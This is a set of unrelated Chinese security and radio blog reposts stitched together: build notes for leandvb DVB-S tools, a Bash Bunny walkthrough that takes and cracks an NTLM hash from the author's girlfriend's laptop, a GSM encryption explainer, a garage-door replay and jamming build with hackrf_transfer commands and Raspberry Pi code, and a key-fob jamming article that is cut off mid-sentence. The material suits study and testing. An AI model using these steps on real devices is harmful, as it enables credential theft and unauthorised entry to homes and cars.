leantsgen || \ g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable leantsgen.cc -o leantsgen ld: library not found for -lX11 clang: error: linker command failed with exit code 1 (use -v to see invocation) g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable -DGUI leanchansim.cc -lX11 -o leanchansim || \ g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable leanchansim.cc -o leanchansim ld: library not found for -lX11 clang: error: linker command failed with exit code 1 (use -v to see invocation) g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable -DGUI leandvbtx.cc -lX11 -o leandvbtx || \ g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable leandvbtx.cc -o leandvbtx ld: library not found for -lX11 clang: error: linker command failed with exit code 1 (use -v to see invocation) 查找X11目录 sudo find / -name "X.h" /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/Tk.framework/Versions/8.4/Headers/X11/X.h /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers/X11/X.h find: /dev/fd/cn0xroot: No such file or directory find: /dev/fd/cn0xroot: No such file or directory /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers/X11/X.h /opt/local/include/X11/X.h /opt/local/share/doc/boost/libs/coroutine/example/cpp03/asymmetric/X.h /opt/metasploit-framework/embedded/include/X11/X.h /opt/X11/include/X11/X.h /System/Library/Frameworks/Tk.framework/Versions/8.4/Headers/X11/X.h /System/Library/Frameworks/Tk.framework/Versions/8.5/Headers/X11/X.h 解决方案:修改Makefile APPS = leandvb leansdrscan APPS += leansdrcat leantsgen leanchansim leandvbtx all: $(APPS) clean: rm -f $(APPS) DEPS = ../leansdr/*.h CXXFLAGS = -O3 -I.. -I/opt/X11/include -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable %: %.cc $(DEPS) g++ $(CXXFLAGS) -DGUI $< -lX11 -L/opt/X11/lib -o $@ || \ g++ $(CXXFLAGS) $< -o $@ EMBED_FLAGS= -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable \ -Ofast -mfpu=neon -funsafe-math-optimizations -fsingle-precision-constant leandvb.embedded: leandvb.cc $(DEPS) g++ $(CXXFLAGS) $(EMBED_FLAGS) $< -static -o $@ || \ g++ $(CXXFLAGS) $(EMBED_FLAGS) $< -o $@ make Usage leandvb --help Usage: leandvb [options] < IQ > TS Demodulate DVB-S I/Q on stdin, output MPEG packets on stdout Input options: --u8 Input format is 8-bit unsigned (rtl_sdr, default) --f32 Input format is 32-bit float (gqrx) -f HZ Input sample rate (default: 2.4e6) --loop Repeat (stdin must be a file) --inbuf N Additional input buffering (samples) Preprocessing options: --anf N Number of birdies to remove (default: 1) --derotate HZ For use with --fd-pp, otherwise use --tune --resample Resample baseband (CPU-intensive) --resample-rej K Aliasing rejection (default: 10) --decim N Decimate baseband (causes aliasing) --cnr Measure CNR (requires samplerate>3*symbolrate) --fd-pp NUM Dump preprocessed IQ data to file descriptor DVB-S options: --sr HZ Symbol rate (default: 2e6) --tune HZ Bias frequency for demodulation --drift Track frequency drift beyond safe limits --standard S DVB-S (default), DVB-S2 (not implemented) --const C QPSK (default), BPSK .. 32APSK (DVB-S2 only) --cr N/D Code rate 1/2 (default) .. 7/8 .. 9/10 --fastlock Synchronize more aggressively (CPU-intensive) --sampler nearest, linear, rrc --rrc-steps N RRC interpolation factor --rrc-rej K RRC filter rejection (defaut:10) --roll-off A RRC roll-off (default: 0.35) --viterbi Use Viterbi (CPU-intensive) --hard-metric Use Hamming distances with Viterbi Compatibility options: --hdlc Expect HDLC frames instead of MPEG packets --packetized Output 16-bit length prefix (default: as stream) General options: --buf-factor Buffer size factor (default:4) --hq Maximize sensitivity (Enables all CPU-intensive features) --hs Maximize throughput (QPSK CR1/2 only) (Disables all preprocessing) UI options: -h Display this help message and exit -v Output debugging info at startup and exit -d Output debugging info during operation --fd-info NUM Output demodulator status to file descriptor --fd-const NUM Output constellation and symbols to file descr --gui Show constellation and spectrum (X11) --duration S Width of timeline plot (default: 60) --linger Keep GUI running after EOF Testing options: --awgn STDDEV Add white gaussian noise (slow) eanchansim --help Usage: leanchansim [options] < IQ.in > IQ.out Simulate an imperfect communication channel. Input options: --iu8 Interpret stdin as complex unsigned char --if32 Interpret stdin as complex float -f Hz Specify sample rate --loop Repeat (stdin must be a file) Gain options: --scale FACTOR Multiply by constant Drift options: --lo HZ Specify nominal LO frequency --ppm PPM Specify LO accuracy --drift-period S Drift +-ppm every S seconds --drift-rate R Drift with maximum rate R (Hz/s) --drift2-amp HZ Add secondary drift (range in Hz) --drift2-freq HZ Add secondary drift (rate in Hz) Noise options: --awgn STDDEV Add white gaussian noise (dB) Output options: --ou8 Output as complex unsigned char --of32 Output as complex float leandvbtx --help Usage: leandvbtx [options] < TS > IQ Modulate MPEG packets into a DVB-S baseband signal Output float complex samples Options: -f INTERP[/DECIM] Samples per symbols (default: 2) --roll-off R RRC roll-off (defalt: 0.35) --power P Output power (dB) --agc Better regulation of output power -v Verbose output leansdrcat --help Usage: leansdrcat [options] Forward from stdin to stdout at constant rate. Options: --block Pause when stdout is busy (default: '#' on stderr) --nonblock Silently ignore when stdout is busy --cbr R Set rate in bits per second --cbr8 R Set rate in bytes per second --cbr16 R Set rate in 16-bit words per second --cbr32 R Set rate in 32-bit words per second --cbr64 R Set rate in 64-bit words per second -h Display this help message and exit leansdrscan --help Usage: leansdrscan [options] [program settings] Run , cycling through combinations of settings. Example: 'leansdrscan -v cat -n,-e' will feed stdin through 'cat -n' and 'cat -e' alternatively. Options: -h Print this message -v Verbose --timeout N Next settings if no output within N seconds --rewind Rewind input (stdin must be a file) --probesize N Forward only N bytes (with --rewind) leantsgen --help Usage: leantsgen [-c PACKETCOUNT] Output numbered MPEG TS packets on stdout. Example rtl_sdr -g 0 -f 315e6 -s 1000000 /tmp/test.ts leandvb --gui -v -d -f 1000e3 --sr 500e3 --cr 1/2 --derotate -4500 --anf 0 < /tmp/test.ts > mpeg.ts https://www.rtl-sdr.com/transmitting-dvb-s-with-a-plutosdr-and-receiving-it-with-an-rtl-sdr/ http://www.pabr.org/radio/leandvb/leandvb.en.html
在今年早些时候,FB就对Bash Bunny做了相关的报导。这款号称“世界上最先进的USB攻击工具”的Bash Bunny,是否真的像其所说的一样是款渗透神器呢?下面,我将通过实例演示如何利用Bash Bunny QuickCreds模块,获取到目标主机上的登陆凭据。 简介 很幸运,我得到了一个Bash Bunny的硅谷优惠码,并非常期待Bash Bunny的表现。 首先,对于那些不熟悉该类攻击的人,我强烈推荐你可以先去阅读下mubix的原始帖子。 配置 首先,我需要将payload加载到设备上并使它能正常工作。 我在Windows和Mac上的尝试都遇到了许多麻烦,最终我在Kali VM成功执行了Bunny。 随着你的[sic]VM被关闭,进入到设置>端口>USB 启用usb 3.0 将bunny切换到状态1;插入并等待它完全加载 添加一个usb过滤器(+图标)并添加设备(Linux 3.4.39 sunxi_usb_udc RNDIS/Ethernet Gadget [0333]驱动) 弹出bunny 将开关调到状态2和3,然后重复步骤2-4 打开你的vm,并且保持bunny未插入状态 在vm上wget bb.sh脚本 运行`sudo bash bb.sh`并按照引导设置 当bunny不在arm模式(位置3),在第三步后插入bunny 如果你操作正确的话,脚本会在这个阶段“检测”bunny 最后一步是再次使用你刚刚的设置“connect”主菜单后按“C” 现在你应该能够ssh到bunny,并可通过ping命令测试连接状态 DNS问题 完成上述配置步骤后,我可以SSH连接到我的bunny。 不幸的是,我无法正确下载任何内容或是更新它。 经过一番折腾后,我查看了一下在设备上的resolv.conf文件。 root@bunny:~# ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=43 time=26.7 ms ^C --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 26.766/26.766/26.766/0.000 ms root@bunny:~# ping google.com ^C root@bunny:~# cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 8.8.8.8 nameserver 8.8.4.4 我发现我的 pfSense 被配置为阻止所有传出的DNS请求。为了后续演示的方便,这里我禁用了我的防火墙规则。 工具安装 在Bash Bunny QuickCreds payload工作之前,我需要在设备上使用Responder。 首先,我将 ToolsInstaller 包添加到switch1有效载荷中。 接下来,我将QuickCreds有效载荷添加到switch2中。 不幸的是,ToolsInstaller的安装仍然失败。 接下来,我手动创建了一个名为pentest的文件夹。 完成创建后,我手动上传了impacket和responder到设备。 但不幸的是,安装依旧失败。 固件更新 至此我意识到可能是固件的问题,因此我决定更新我的固件版本。 进入下载页面,我发现目前最新的版本为1.3。 我按照页面的更新说明,完成了对设备上的固件更新操作。 成功安装 接着,我将Responder移动到了/tools/responder并尝试了快速攻击。 但问题再次出现,Bunny并没有显示攻击成功的绿光,我相信这肯定是Responder的问题。 最后,我找到了.deb文件,并成功安装了Responder! 执行 现在到了最激动人心的时刻了,我决定拿我女朋友加密锁定的笔记本电脑作为我的渗透目标。 我将bunny插入了她的笔记本,可以看到琥珀色的灯光。 没过几秒钟灯光颜色变成了绿色,说明我们的payload成功被执行。 检查设备后我们发现,多了一个包含NTLM哈希的文件。 哈希破解 根据女友提供给我的一小点提示,我开始尝试破解哈希密码。 Rays-MacBook-Pro:testing doyler$ hashcat -a 3 -m 5600 -i --increment-min=1 --increment-max=10 hash.txt ?l?l?l?l?l?l?l?l?l?l hashcat () starting... OpenCL Platform #1: Apple ========================= * Device #1: Intel(R) Core(TM) i7-6920HQ CPU @ 2.90GHz, skipped. * Device #2: Intel(R) HD Graphics 530, 384/1536 MB allocatable, 24MCU * Device #3: AMD Radeon Pro 460 Compute Engine, 1024/4096 MB allocatable, 16MCU Hashes: 2 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Applicable optimizers: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt * Brute-Force Watchdog: Temperature abort trigger disabled. Watchdog: Temperature retain trigger disabled. The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Type........: NetNTLMv2 Hash.Target......: GIRLFRIEND::Girlfriend-THINK:dexxxxx...000000 Time.Started.....: Fri Jul 14 19:40:47 2017 (0 secs) Time.Estimated...: Fri Jul 14 19:40:47 2017 (0 secs) Guess.Mask.......: ?l [1] Guess.Queue......: 1/10 (10.00%) Speed.Dev.#2.....: 0 H/s (0.45ms) Speed.Dev.#3.....: 0 H/s (0.00ms) Speed.Dev.#*.....: 0 H/s Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: 26/26 (100.00%) Rejected.........: 0/26 (0.00%) Restore.Point....: 0/1 (0.00%) Candidates.#2....: q -> x Candidates.#3....: [Generating] Session..........: hashcat Status...........: Running Hash.Type........: NetNTLMv2 Hash.Target......: GIRLFRIEND::Girlfriend-THINK:dexxxxx...000000 Time.Started.....: Wed Jul 19 12:28:22 2017 (1 sec) Time.Estimated...: Wed Jul 19 12:28:26 2017 (3 secs) Guess.Mask.......: ?l?l?l?l?l?l?l?l?l?l [10] Guess.Queue......: 1/1 (100.00%) Speed.Dev.#2.....: 12865.7 kH/s (4.11ms) Speed.Dev.#3.....: 60526.9 kH/s (7.08ms) Speed.Dev.#*.....: 73392.6 kH/s Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: xxxxxxxx/308915776 (xx%) Rejected.........: 0/88440832 (0.00%) Restore.Point....: xxxxxxxx/308915776 (xx%) Candidates.#2....: xxxxxxxxxx -> xxxxxxxxxx Candidates.#3....: xxxxxxxxxx -> xxxxxxxxxx GIRLFRIEND::Girlfriend-THINK:dexxxxx:xxxxx:xxxxx:(password here) 总结 在成功破解密码后,我成功登陆到了我女友的笔记本。 这是我在bunny上成功使用的第一个payload。 最后,如果你有其他关于payload更好的想法或建议,或尝试编写一些个人的payload,那么欢迎与我取得联系并分享你的成果。 原文链接:https://www.doyler.net/security-not-included/bash-bunny-quickcreds
你有没有想过打开手机时会发生什么?它是如何以安全的方式与网络进行通信?几乎所有人都知道TCP / IP,并且可能许多人还是专家,但是谈到电信方面,很少有人知道它的内部原理。 gsm中的消息结构是什么?它使用的加密类型是什么?因此,今天我们将详细介绍gsm的加密标准,以及手机如何更新移动网络的位置。 当你打开手机发生了什么? 当您打开手机时,它首先启动其无线电资源和移动管理程序。 手机通过SIM或网络接收附近地区支持的频率列表。 它根据功率级别和移动提供商在一个单元上存储。之后,它会对认证发生的网络位置,进行更新过程。位置更新成功后,手机获得TMSI,现在就可以进行其他的操作了。 现在,通过查看移动应用程序调试日志来验证上面的结论。下面的屏幕截图是来自模拟在PC上工作的移动电话的一个osmocom移动应用程序。 SIM发送的移动网络信息 camping on a cell 位置更新请求,包括它的LAI、TMSI 允许位置更新并使用可见的加密标准。 目标 我们将通过osmocom-bb用wirehark捕获gsm数据,并分析整个gsm认证和加密的过程是如何发生的。我们也会看到位置更新过程是如何发生的。 我们已经在上一篇博客中详细介绍了osmocom-bb和建立呼叫的过程。这个博客中会跳过那一部分。 GSM加密标准 A5 / 0 - 未使用加密。为了完整性。 A5 / 1-A5 / 1是用于在GSM蜂窝电话标准中提供空中通信隐私的流密码。它是为了使用GSM而指定的七种算法之一。它最初是保密的,但由于泄漏和逆向工程已经为大众熟知。密码中的一些严重弱点已经被发现。 A5 / 2-A5 / 2是用于在GSM蜂窝电话协议中提供语音隐私的流密码。它用于出口,却并非强于(事实上仍然很弱)A5 / 1。它是为使用GSM所定义的七种A5加密算法之一。 A5 / 3(Kasumi) - KASUMI是用于UMTS,GSM和GPRS移动通信系统的块密码。在UMTS中,KASUMI用于名为UEA1和UIA1的机密性和完整性算法。在GSM中,KASUMI用于A5 / 3密钥流生成器和GEA3密钥流生成器中的GPRS中。 还有一些用的较少,所以没有被提到。 GSM认证和加密是如何发生的? 每个GSM手机都有一个用户识别模块(SIM)。 SIM通过使用国际移动用户身份(IMSI)为移动电话提供独特的身份。 SIM卡就像一个钥匙,失去的话手机就无法运作。它能够存储个人电话号码和短信息。它还存储诸如A3认证算法,A8加密密钥生成算法,认证密钥(KI)和IMSI之类的安全相关信息。移动台存储了A5加密算法。 认证 认证过程检查用户SIM卡的有效性,然后判断移动台是否允许在特定网络上。网络通过使用挑战响应方法来完成用户的认证。首先,通过空中接口向移动台发送128位随机数(RAND)。 RAND被传递给SIM卡,通过A3认证算法与Ki一起发送。 A3算法的输出,经签名的响应(SRES)通过空中接口从移动台发送回网络。在网络上,AuC将SRES的值与从移动台接收的SRES的值进行比较。如果SRES的两个值匹配,认证成功,并且用户加入网络。 AuC实际上不存储SRES的副本,但是根据需要查询HLR或VLR。 生成SRES 匿名 当新的GSM用户第一次打开手机时,其IMSI将被发送到网络上的AuC。之后,临时移动用户身份(TMSI)被分配给用户。除非绝对有必要的话,否则IMSI在此之后很少传输。这样可以防止潜在的窃听者通过其IMSI识别GSM用户。用户继续使用相同的TMSI,具体取决于位置更新发生的频率。每次发生位置更新时,网络都会分配一个新的TMSI到手机。 TMSI与IMSI一起存储在网络中。移动台使用TMSI向网络报告或呼叫启动期间。类似地,网络使用TMSI来与移动台进行通信。访客位置寄存器(VLR)执行TMSI的分配,管理和更新。当关闭时,移动台将TMSI存储在SIM卡上,以确保在再次接通电源时可用. 数据的加密和解密 GSM使用加密密钥来保护用户数据和空中接口的信号。一旦用户认证,通过A8加密密钥生成算法发送RAND(从网络传送)和KI(来自SIM卡),以产生加密密钥(KC)。 A8算法存储在SIM卡上。然后使用A8算法创建的KC与A5加密算法一起加密或解密数据。 A5算法在移动电话的硬件中实现,因为它必须即时加密和解密数据。 加密密钥(Kc)的生成 使用Kc进行数据加密/解密 GSM授权/加密过程 GSM授权/加密过程 1.当您第一次打开手机时,MS将IMSI发送到网络。 2.当MS请求访问网络时,MSC / VLR通常要求MS进行认证。 MSC将IMSI转发到HLR,并请求认证Triplets。 3.当HLR收到IMSI和认证请求时,首先检查其数据库,确保IMSI有效并属于网络。一旦实现了这一点,它将把IMSI和认证请求转发到认证中心(AuC)。 AuC将使用IMSI查找与该IMSI相关联的Ki。 Ki是个人用户认证密钥。当创建SIM卡时,它是与IMSI配对的128位数字。 Ki只存储在SIM卡和AuC上。 Auc还将生成一个称为RAND的128位随机数。 RAND和Ki被输入到A3加密算法中。输出是32位签名响应(SRES)。当请求认证时,SRES本质上是发送给MS的“挑战”。 RAND,SRES和Kc统称为三元组。 HLR将三元组发送给MSC / VLR。 4.然后,VLR / MSC将只将RAND值转发给MS。 5.MS使用存储在其sim中的Ki和网络发送的RAND值来计算SRES。 MS将此SRES值发送回MSC / VLR。 6.MSC / VLR将SRES值与HLR向其发送的值进行匹配。如果它匹配,它成功授权MS。 7.一旦经过认证,移动和网络都可以通过A8算法使用Ki和RAND值来生成Kc。 8.使用具有A5加密算法的唯一生成密钥(Kc)对数据进行加密/解密。 位置更新步骤 位置更新过程 当你打开你的手机,它首先告诉网络,我在这里,我想注册到网络。之后它发送一个位置更新请求,包括它以前的LAI,它是TMSI。 收到TMSI后,如果TMSI不在数据库中,则VLR请求IMSI,收到IMSI后,VLR根据其IMSI向HLR询问用户信息。如果VLR在它的数据库里没有找到TMSI,它将使用LAI找到MS连接到的旧VLR的地址。向旧VLR发送请求,请求用户的IMSI。 VLR提供与MS发送的TMSI相对应的IMSI。请注意,IMSI可能是从移动设备获得的。这不是优先选择,因为位置更新请求被清楚地发送,因此可以用于确定IMSI和TMSI之间的关联。 HLR又要求AuC为这个IMSI的三元组。 HLR将三元组(Rand,Kc,SRES)转发到VLR / MSC。 MSC将从VLR获取详细信息,并只将RAND值传给MS。 MS将再次计算SRES,并将其发送回MSC。 MSC将验证存储在VLR中的SRES,并将与MS发送的SRES进行比较。如果两者匹配,则位置更新成功。 成功后,HLR更新发生,它将更新其当前位置,并将TMSI分配给该MS。由于在加密之后TMSI任务被发送,TMSI与用户之间的关系不能由未经授权的用户获得。 GSM手机回复表明新的TMSI分配已经完成。 现在,我们将分析wirehark中的gsm数据包,看看在空中的真实情况。 1.立即分配 - 由MS请求的无线信道和MS分配的无线信道MS提供商。我们还可以看到在这个频道中正在使用什么样的控制信道(SDCCH / SACCH)。 2.位置更新请求 - MS发送位置更新请求,其中包括以前的LAI,它是TMSI。 3.验证请求 - VLR / MSC将HLR中的RAND转发给MS。我们可以清楚地看到网络发送到移动电话中的随机值。 4.MS中的SRES生成 - MS将使用存储在sim.5中的Ki的帮助,使用A3认证算法生成SRES值。 5.认证响应 - MS将发送其计算的SRES值。我们可以清楚地看到SRES的值。 6.加密模式命令 - BSC向移动设备发送CIPHERING MODE命令。密码已经被启用,所以这个消息是通过加密传输的。手机用CIPHERED模式回复它。我们也可以看到下面的加密模式完成包。我们可以看到它正在使用A5 / 1密码。 7.接受位置更新 - 成功认证后,位置更新发生在MS向网络提供位置信息的地方。 8.TMSI重新分配完成 - MS提供商将向MS分配TMSI,并且该消息将被加密,使得没有人可以嗅探用户的身份(TMSI)。 9.无线电频道发布 - 分配的无线电频道由MS。 现在呢? 注意到有时运营商根本没有使用任何加密,以便能够处理更多的网络负载。加密/解密过程增加了开销。有时,身份验证过程的配置存在问题,攻击者可以使用它来绕过完整的身份验证. GSM安全是一个很大的的但还尚未开发的领域,还有很多工作需要探索和完成。现在,当您了解如何分析最低级别的gsm数据时,您可以阅读,分析和修改osmocom的代码,以便将任意帧发送到网络或从网络发送到手机。您可以开始模糊gsm级协议,以了解您是否可以实际破解任何网络设备。还有很多事情要做,但这需要对gsm网络有深刻理解,还有关于这方面的法律问题。我建议您创建自己的gsm网络并运行您的测试,如果你想继续这样做的话。我们将在gsm上发布更多博客文章。敬请期待! 参考资料: https://www.sans.org/reading-room/whitepapers/telephone/gsm-standard-an-overview-security-317 http://mowais.seecs.nust.edu.pk/encryption.shtml 原文链接:http://payatu.com/dissecting-gsm-encryption-location-update-process/
本文以打开无线控制的电动车库卷帘门为目标,深入研究了ASK/OOK的编/解码,并用树莓派+五元钱的ASK/OOK 发射模块 背景 车库装了电动卷帘门,为了了解其安全性,也是为了能自主控制,研究了下其遥控原理。其实在这个过程中,我测试了家里几乎所有的无电线遥控器,包括电动窗帘、投影幕布、电动衣架、车钥匙。除了车钥匙,其它都是类似的,即ASK/OOK编码。 ASK,简单的理解,就是调幅,用不同的幅度来代表不同的信息。OOK是ASK的特例,因为只有0和1要表示,可以用有载波来代表1,无载波来代表0。但实际上并不是这么直接,通常会加上脉宽调制(PWM)以提高抗干扰能力。 用HackRF确定可行性 据说有的车库门是滚动码的(编码是变化的),我们可以先用HackRF做个简单的重放攻击测试。 录制2秒的信号并重放: hackrf_transfer -f 433920000 -s 2000000 -a 1 -r capture.raw -n 4000000 -g 40 -l 16 hackrf_transfer -f 433920000 -s 2000000 -a 1 -t capture.raw -x 40 部分运行提示: call hackrf_set_sample_rate(2000000 Hz/2.000 MHz) call hackrf_set_hw_sync_mode(0) call hackrf_set_freq(433920000 Hz/433.920 MHz) call hackrf_set_amp_enable(1) samples_to_xfer 4000000/4Mio Stop with Ctrl-C 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 0.3 MiB / 1.000 sec = 0.3 MiB/second Exiting... hackrf_is_streaming() result: streaming terminated (-1004) 实测用录制的信号是可以控制的(如果不行,注意调整HackRF放大器的增益)。但这个没多大技术含量,而且成本高,数据量也大。我们的目标是解码后再重新编码/重放。 用GNU Radio录制信号 用GNU Radio搭一个简单的接收框图,一方面将接收信号保存到文件,另一方面将信号以瀑布图显示作为实时反馈。因为遥控信号是433.92MHz,中心频率设在这个附近都可以;采样率2M就够了。 图1:gnuradio-companion 连接框图 下图是运行时的瀑布图,其中按了5次遥控器。 图2:gnuradio-companion 运行时的瀑布图 用 Inspectrum 手动解码 用apt-get安装inspectrum,或下载最新的Inspectrum代码,按照文档自行编译。试过Debian和Mac下都没问题(Mac下用MacPorts要安装一堆依赖)。编译就不多说了,下面是解码的主要步骤: 1. 用Inspectrum打开前面录制的文件,设置采样率为录制时的采样率(2M); 2. 水平拖动,找到有信号的区域; 3. 在原始信号上右键,Add derived plot => Add sample plot; 4. 此时原始信号上会出现两条水平线,用鼠标拖动,调节中心频率的位置和宽度; 5. 在原始信号上右键,Add derived plot => Add amplitude plot; 6. 在Amplitude plot上右键,Add derived plot => Add threshold plot; 7. 勾选”Enable cursors”,此时会出现两条竖线; 8. Zoom放大信号图,移动两条竖线,使其宽度包含一个符号。注意跳过前导的高低电平(start1, start0)。数据通常是脉宽编码的,一对高低电平的组合代表一个bit:高电平较宽的代表1,低电平较宽的代表0。从图中应该能看出这个规律。 9. 改变符号数,使其包含整个信号区域(图中是65个符号,这相当于完整的key),并调节首尾对齐(结束时通常有较长的低电平),这时可以得到符号的速率,即波特率(对OOK,其实等同于比特率)。 图3:用Inspectrum解码的步骤 最后,在Amplitude plot或Threshold plot上分别点右键,Extract symbols (to stdout),可以得到解码的数据。其中前者相当于模拟信号,简单理解:正数代表1,负数代表0;后者才是我们想要的bit流。 图4:用Inspectrum解码的结果 为确认解码正确,可以再选一段信号区域,做同样的操作,看结果是否一致。毕竟ASK抗干扰不强,有时候可能会差一两个bit。通常,按一下遥控器,同样的数据会重复发送几次。 遥控信号编码分析 根据前面的解码,以及对更多遥控器的分析,可以归纳出一个模型。一个ASK信号包含如下部分(参数): start1: 起始的高电平时间长度; start0: 起始的低电平时间长度; stop0: 结束的低电平时间长度; period: 每个bit的周期,在PWM编码中,每个bit都对应一对高/低电平,而且总是先高后低; duty: 占空比,比如占空比是75%,则意味着一个周期内如果75%左右是高电平,则代表1; 而75%左右是低电平则代表0; bits: 实际的bit流。 这里的占空比肯定是大于50%的,通常在75%左右比较合适,这样既能拉开(每个周期内)两种电平的比例差,减少接收端的误判;又能保证接收时能采样到两种电平,也是为了减少误码。试想对于99%的占空比,1%周期的电平很可能被接收端采样不到,导致采样到199%(甚至更长)周期的同一种电平,这样解码时就会出错。 发射模块 最初,我是想用GNU Radio做ASK/OOK编码并发射的。万能的HackRF和SDR按说能搞定这个小Case。 研究了下,发现这并不是一件容易的事。需要使用很多的模块。这也许是一个很好的GNU Radio的练习题。但我还是先看下有没有更简单的办法。 然后口水了一下TI的EZ430-Chronos手表,找了下“廉价”的RFcat,发现并不容易买到。最后在万能的假货宝发现了真正廉价的东东:只要5元!(你买不了吃亏,买不了上当。。) 这个模块很简单,就是把输入的信号以433/315M的载波调制/发射出去。DATA为高电平,就按高电平调幅输出(请注意,这里调制的是电平,并不是数据。也就是说,数据”1″对应多长时间的高电平,多长时间的低电平,这个模块都不管的——这些是编码模块要处理的事)。 图5:ASK/OOK 发射模块 用Python编码 为了代码的模块化,也是为了减少发射时的计算量,我们采取先编码再发送的方案。根据前面建立的ASK信号的模型,将这个信号编码为高低电平交替的波形,并用一个数组表示,数组中每个元素存储高低电平切换时对应的时间戳。波形总是以高电平开始。 起始/结束电平的时长、占空比这些参数理论上并不需要严格准确,但这取决于接收端的宽容度,所以我们还是尽量忠实于原信号。 下面是核心的代码片断,其中ts是时间戳数组。 def encodePWM(self, ts): t = 0 ts.append(t) t += self.start1 ts.append(t) t += self.start0 ts.append(t) for i in range(0, self.bits.len): w = self.duty if self.bits[i] else 1 - self.duty ts.append(t + self.period * w) t += self.period ts.append(t) ts[-1] += self.stop0 用树莓派发送 发送工作就很简单了:将发射模块的DATA脚与树莓派的某个GPIO相连,电源也直接用树莓派的; 图6:树莓派与发射模块 然后根据时间戳交替翻转对应的GPIO就行了。 def send(self, ts): b = 1 t1 = time.time() GPIO.output(self.pin_tx, b) t1 -= ts[0] for t in ts[1:-1]: b = 1 - b wait = t1 + t - time.time() if wait > 0: time.sleep(wait) GPIO.output(self.pin_tx, b) wait = t1 + ts[-1] - time.time() if wait > 0: time.sleep(wait) 用sleep控制时间尽管有一定误差,脚本语言的运行也没那么快,但实测是够用的。下图是示波器上看到的DATA引脚的波形图(两个通道都连着DATA脚)。 图7:树莓派产生的待调制信号 为便于观察,我将编码周期设置为1ms,和示波器界面的1ms/div对应。图中测量的间距是2.78ms(预期是2.75ms),偏差是可接受的。 多种姿势打开车库门 把发射的装置放在车库内,并连上网络,就可以无需钥匙自主控制车库门的开/关了。 手机开关门 不需要自己写App,用ssh终端密钥登录并执行命令,就可以手机一键开/关门了,并且可以远程控制。 图8:手机上用ssh开关车库门 自动开关门 以指定手机作为钥匙,当持手机靠近车库时(其实是连上车库WiFi后),就自动开门。大致流程是: 远程执行路由器的 iwinfo 命令(如下)检测连接在上面的设备; 如果作为钥匙的手机的MAC在列表里,并且信号强度(SNR)超过设定值,就计为一个有效的连接。当连接数从0变为非0时,就自动开门。 如果钥匙手机的有效连接数降到0, 就自动关门。 ssh root@wireless-router 'iwinfo ra0 assoclist && iwinfo rai0 assoclist' 自动关门的好处是可以防止人走了忘了关门(俺家真的发生过)。 芝麻开门 理论上可以做到,但需要可靠的声纹识别。这个就算了。。 锁死车库门 把发射模块对应的GPIO设为高电平,由于发射模块信号强,距离近,接收端收到的总是1,导致用真的钥匙也开不了门。 结语 不用滚动码编码的车库门其实是毫无安全性可言的。不管是简单的原始信号重放、还是解码后再编码的重放都比较容易实现。但我们可以利用这种不安全为自己提供便利,更灵活地自主开/关门。另外,用发射模块发射高电平可以干扰钥匙的信号达到锁死车库门的效果。 但如果不是通过监听钥匙的信号,用暴力破解Key也并不是那么容易的。因为ASK编码除了需要数据吻合,载波频率相同,还需要数据编码速率,甚至起止电平的时长都要一致。 用廉价的硬件发射模块配合树莓派(或单片机)可以低成本地编码/发射ASK/OOK信号,简单易行。而HackRF加Inspectrum解码仅适合实验和调试用,实用价值不高。后续将会尝试ASK/OOK的自动解码。
在最近几年,入侵汽车在当代社会的黑客圈中成为热点,很多文章表明汽车产业还有很多东西等待完善,在本篇文章中,我会让你熟悉我一直研究的一些概念,以及如何在网状网络中使用一些便宜的部件渗透远程开门系统。 软件无线电 Software-defined radio(SDR)即软件无线电,它是一种实现无线通信的新概念和体制。其中已在硬件上被实现的组件(例如混频器,滤波器,放大器,调制器/解调器,检测器等)可以通过软件手段在个人计算机上或嵌入式系统中被代替,即很多功能是在软件平台上实现的。虽然SDR不是一个新概念,但是随着数字电子学的飞速发展,很多东西从理论可行转变为实际可行。 然而大多数SDR设备都非常昂贵,特别是HackRF,BladeRF等等,如果你在寻找最便宜的方案,那么RTL2382U是个不错的选择,它们在Ebay上只需大约15美元。 这是我的RTL2382U以及一个天线。 这是另一个,我没有停止用它,因为我在用它后面的GPS模块。 使用这个设备和Linux机器连接起来,然后用HDSDR查看按键时的实时情况。 如你所见,宝马汽车制造商使用频段315Mhz,屏幕上的红线是我按下按钮时出现的。 当受害者走向他们的汽车并且按下解锁键时,信号就会被发送到汽车,然后门就会被解锁,所以我们需要在这一切发生之前拦截所有交互。 如何制作一个干扰器 在这部分,我在ebay上购买了一些CC1101无线射频收发器,我们将通过这些,使用ardunio nano板来实施拦截和重放。 如上图,我们有两个CC1101收发器连接在ardunio 